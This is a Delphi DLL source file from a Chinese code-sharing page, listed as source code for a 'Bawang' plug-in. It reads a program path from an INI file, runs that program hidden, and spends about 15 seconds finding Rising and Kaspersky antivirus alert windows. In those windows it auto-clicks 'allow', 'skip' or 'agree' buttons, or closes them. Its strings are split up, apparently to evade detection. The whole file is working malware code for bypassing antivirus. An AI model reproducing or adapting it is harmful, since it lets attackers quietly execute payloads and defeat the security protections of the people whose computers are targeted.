📄 winsys16.dpr

📁 功能强大的霸王插件源代码
💻 DPR
字号:
library winsys16;
//uses dialogs;//windows,dialogs;SysUtils,messages}
uses
  windows;//, //dialogs,  SysUtils,
  //myfunc in 'myfunc.pas';

//,dialogs,SysUtils;
//{$R *.res}

type
  DWORD=LongWord;
  LPCSTR = PAnsiChar;
  UINT = LongWord;
const kernel32  = 'kernel32.dll';
      SW_HIDE = 0;
      //WM_QUERYENDSESSION  = $0011;
var cfg:string;
function FuckCode : String;
begin
    Result :='';//#$BD#$FF#$FE#$BC#$EE#$BF#$EC#$FE#$E0#$EF#$89#$EA#$BD#$FF#$FE#$BC#$EE#$BF#$EC#$FE#$E0#$EF#$89#$EA#$BD#$FF#$FE#$BC#$EE#$BF#$EC#$FE#$E0#$EF#$89#$EA;
end;
function Create_Thread(lpThreadAttributes: Pointer;
  dwStackSize: DWORD; lpStartAddress: TFNThreadStartRoutine;
  lpParameter: Pointer; dwCreationFlags: DWORD; var lpThreadId: DWORD): THandle; stdcall;external kernel32 name 'CreateThread';
procedure CloseKaoBa;
var f1,f2:integer;
    d:double;
    r1:trect;
    s:string;
const WM_LBUTTONDOWN      =$0201;
      WM_LBUTTONUP        =$0202;
      WM_CLOSE         = $0010;
begin
  d:=GetTickCount()+15*1000;
  while true do
    begin
      try
        //瑞星
        s:='瑞';
        s:=s+'星';
        s:=s+'注';
        s:=s+'册';
        s:=s+'表';
        FuckCode;
        s:=s+'监';
        s:=s+'控';
        s:=s+'提';
        s:=s+'示';
        f1:=findwindow('#32770',pchar(s));
        if f1<>0 then
          begin
            SetForegroundWindow(f1);
            SetActiveWindow(f1);
            f2:=FindWindowEx(f1,0,'Button','同意修改');
            if f2<>0 then
              begin
                getwindowrect(f2,r1);
                setcursorpos(r1.Left+(r1.Right-r1.Left) div 2,r1.Top+(r1.Bottom-r1.Top) div 2);
                //showmessage('a');
                SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                SendMessage(f2, WM_LBUTTONUP, 0, 0);
                SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                SendMessage(f2, WM_LBUTTONUP, 0, 0);
              end;
            f2:=FindWindowEx(f1,0,'Button','确定');
            if f2<>0 then
              begin
                getwindowrect(f2,r1);
                setcursorpos(r1.Left+(r1.Right-r1.Left) div 2,r1.Top+(r1.Bottom-r1.Top) div 2);
                SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                SendMessage(f2, WM_LBUTTONUP, 0, 0);
                SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                SendMessage(f2, WM_LBUTTONUP, 0, 0);
              end
          end;
        //瑞星
        s:='IE 执';
        s:=s+'行';
        s:=s+'保';
        s:=s+'护';
        f1:=findwindow('#32770',pchar(s));
        s:='IE执';
        s:=s+'行';
        s:=s+'保护';
        if f1=0 then
          f1:=findwindow('#32770',pchar(s));
        if f1<>0 then
          begin
            SetForegroundWindow(f1);
            SetActiveWindow(f1);
            f2:=FindWindowEx(f1,0,'Button','允许执行');
            if f2<>0 then
              begin
                getwindowrect(f2,r1);
                setcursorpos(r1.Left+(r1.Right-r1.Left) div 2,r1.Top+(r1.Bottom-r1.Top) div 2);
                //showmessage('a');
                SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                SendMessage(f2, WM_LBUTTONUP, 0, 0);
                SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                SendMessage(f2, WM_LBUTTONUP, 0, 0);
              end;
            f2:=FindWindowEx(f1,0,'Button','确定');
            if f2<>0 then
              begin
                getwindowrect(f2,r1);
                setcursorpos(r1.Left+(r1.Right-r1.Left) div 2,r1.Top+(r1.Bottom-r1.Top) div 2);
                SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                SendMessage(f2, WM_LBUTTONUP, 0, 0);
                SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                SendMessage(f2, WM_LBUTTONUP, 0, 0);
              end
          end;
        f1:=findwindow('AVP.AlertDialog','主动防御 信息');//得到瑞星窗体
        if f1=0 then
          f1:=findwindow('AVP.AlertDialog','主动防御 警报');
        if f1=0 then
          f1:=findwindow('AVP.AlertDialog','主动防御 警告');

        if f1=0 then
          f1:=findwindow('AVP.AlertDialog','主动防护 提示');
        if f1=0 then
          f1:=findwindow('AVP.AlertDialog','主动防护 警告');
        if f1=0 then
          f1:=findwindow('AVP.AlertDialog','主动防护 警报');
        if f1=0 then
          f1:=findwindow('AVP.AlertDialog','主动防护 信息');
        if f1=0 then
          f1:=findwindow('AVP.AlertDialog',nil);
        //showmessage('1='+inttostr(f1));
        if f1<>0 then
          begin
            //showmessage('a');
            f2:=FindWindowEx(f1,0,'AVP.Button','创建规则');
            if f2<>0 then
              begin
                SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                SendMessage(f2, WM_LBUTTONUP, 0, 0);
              end;
            
            f2:=FindWindowEx(f1,0,'AVP.Button','允许');
            if f2=0 then
              f2:=FindWindowEx(f1,0,'AVP.Button','允许(&A)');
            if f2<>0 then
              begin
                //showmessage('b');
                SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                SendMessage(f2, WM_LBUTTONUP, 0, 0);
                SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                SendMessage(f2, WM_LBUTTONUP, 0, 0);

              end
            else
              begin
                //showmessage('c');
                f2:=FindWindowEx(f1,0,'AVP.Button','跳过');
                if f2=0 then
                  f2:=FindWindowEx(f1,0,'AVP.Button','跳过(&S)');
                //showmessage('2='+inttostr(f2));
                if f2<>0 then
                  begin
                    SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                    SendMessage(f2, WM_LBUTTONUP, 0, 0);
                    SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                    SendMessage(f2, WM_LBUTTONUP, 0, 0);
                  end
                else
                  SendMessage(f1, WM_close, 0, 0);
              end;
          end;
        f1:=findwindow('AVP.Product_Notification',nil);
        if f1=0 then
          f1:=findwindow('AVP.Product_Notification','Kaspersky Anti-Virus: 通知');
        if f1<>0 then
              SendMessage(f1, WM_close, 0, 0);
        f1:=findwindow('AVP.TrafficMonConnectionTerm','通信监控：终止连接');
        if f1=0 then
          f1:=findwindow('AVP.TrafficMonConnectionTerm',nil);
        if f1<>0 then
          begin
            f2:=FindWindowEx(f1,0,'AVP.Button','否');
            if f2<>0 then
              begin
                    SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                    SendMessage(f2, WM_LBUTTONUP, 0, 0);
                    SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                    SendMessage(f2, WM_LBUTTONUP, 0, 0);
              end
            else
              SendMessage(f1, WM_close, 0, 0);
          end;
      except
      end;
      if GetTickCount()>d then break;
      sleep(1);
    end;
end;

function FileExists(pszPath: string): longBOOL; stdcall; external 'shlwapi.dll' Name 'PathFileExistsA';

function Win_Exe_c(lpCmdLine: LPCSTR; uCmdShow: UINT): UINT; stdcall;external kernel32 name 'WinExec';
function Trim(const S: string): string;
var
  I, L: Integer;
begin
  L := Length(S);
  I := 1;
  while (I <= L) and (S[I] <= ' ') do
    Inc(I);
  if I > L then
    Result := ''
  else
  begin
    while S[L] <= ' ' do
      Dec(L);
    Result := Copy(S, I, L - I + 1);
  end;
end;
function Ini_FileReadString(const Section, Ident, Default,FFileName: string): string;
var
  Buffer: array[0..2047] of Char;
  i:integer;
  s:string;
begin
  i:=GetPrivateProfileString(PChar(Section),
    PChar(Ident), PChar(Default), Buffer, SizeOf(Buffer), PChar(FFileName));
  SetString(Result, Buffer, i);
  s:=trim(result);
  if s='' then
    result:=Default;
end;
procedure start;stdcall;
var s,s1,s2,s3:string;
    thh:cardinal;
begin
  try
     //showmessage(cfg);
     //exit;
     //FuckCode;
     s1:='e';
     s1:=s1+'x';
     s1:=s1+'e';
     s2:='f';
     s2:=s2+'n';
     s3:='';
     s:=Ini_FileReadString(s1,s2,s3,cfg);
     s:=trim(s);
     FuckCode;
     //showmessage(s);
     if fileexists(s) then
       begin
         Create_Thread(nil, 0, @CloseKaoBa, nil, 0, thh);
         sleep(1);
         FuckCode;
         win_exe_c(pchar(s),sw_hide);
         FuckCode;
         sleep(1000*5);
         //CloseKaoBa;
         //showmessage('1.'+s);
       end;
     FuckCode;
  except
    //on e:exception do
      //showmessage(e.Message);
  end;
  exit;
end;

Exports
   start index 1;
begin
     cfg:='my';
     cfg:=cfg+'win';
     cfg:=cfg+'sy';
     cfg:=cfg+'s.i';
     cfg:=cfg+'ni';
end.
⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -